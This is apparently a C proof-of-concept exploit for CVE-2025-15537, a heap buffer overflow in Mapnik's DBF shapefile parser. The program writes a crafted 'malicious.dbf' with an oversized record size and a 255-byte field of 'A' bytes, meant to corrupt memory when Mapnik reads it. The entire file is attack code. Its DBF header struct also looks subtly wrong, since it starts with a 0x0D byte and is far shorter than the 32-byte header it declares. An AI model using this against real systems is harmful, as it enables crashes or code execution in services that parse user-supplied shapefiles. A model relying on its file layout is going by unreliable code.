/*
* CVE-2025-15537 PoC - Mapnik heap-based buffer overflow in dbf_file::string_value
* Target: Mapnik <= 4.2.0
* File: plugins/input/shape/dbfile.cpp
*
* This PoC generates a malicious DBF file with oversized string field
* that triggers heap buffer overflow when parsed by Mapnik.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#pragma pack(push, 1)
typedef struct {
char terminator; // 0x0D
char version; // 0x03 (dBASE III)
uint8_t year; // Year - 1900
uint8_t month;
uint8_t day;
uint32_t record_count;
uint16_t header_size;
uint16_t record_size;
} dbf_header_t;
typedef struct {
char name[11]; // Field name
char type; // 'C' for character
uint32_t reserved1;
uint8_t length;
uint8_t decimal_count;
uint16_t reserved2;
uint8_t work_area_id;
uint16_t reserved3;
char set_fields_flag;
char reserved4[8];
} dbf_field_descriptor_t;
typedef struct {
char deletion_flag;
char data[1];
} dbf_record_t;
#pragma pack(pop)
void create_malicious_dbf(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
perror("Failed to open file");
return;
}
// Create header with oversized field
dbf_header_t header;
memset(&header, 0, sizeof(header));
header.terminator = 0x0D;
header.version = 0x03;
header.year = 126; // 2026 - 1900
header.month = 1;
header.day = 18;
header.record_count = 1;
header.header_size = 32 + 32 + 1; // header + 1 field + EOF marker
header.record_size = 1000; // Oversized record size
fwrite(&header, sizeof(header), 1, fp);
// Create field descriptor with oversized length
dbf_field_descriptor_t field;
memset(&field, 0, sizeof(field));
strncpy(field.name, "OVERFLOW", 11);
field.type = 'C';
field.length = 255; // Oversized field length
field.decimal_count = 0;
fwrite(&field, sizeof(field), 1, fp);
// EOF marker
char eof = 0x1A;
fwrite(&eof, 1, 1, fp);
// Create record with overflow data
char record[1000];
memset(record, 0, sizeof(record));
record[0] = ' '; // Deletion flag (not deleted)
// Fill with 'A' characters to trigger overflow
memset(record + 1, 'A', 998);
fwrite(record, sizeof(record), 1, fp);
fclose(fp);
printf("Malicious DBF file created: %s\n", filename);
printf("Field length: 255, Record size: 1000\n");
}
int main(int argc, char* argv[]) {
const char* filename = (argc > 1) ? argv[1] : "malicious.dbf";
create_malicious_dbf(filename);
printf("PoC for CVE-2025-15537\n");
return 0;
}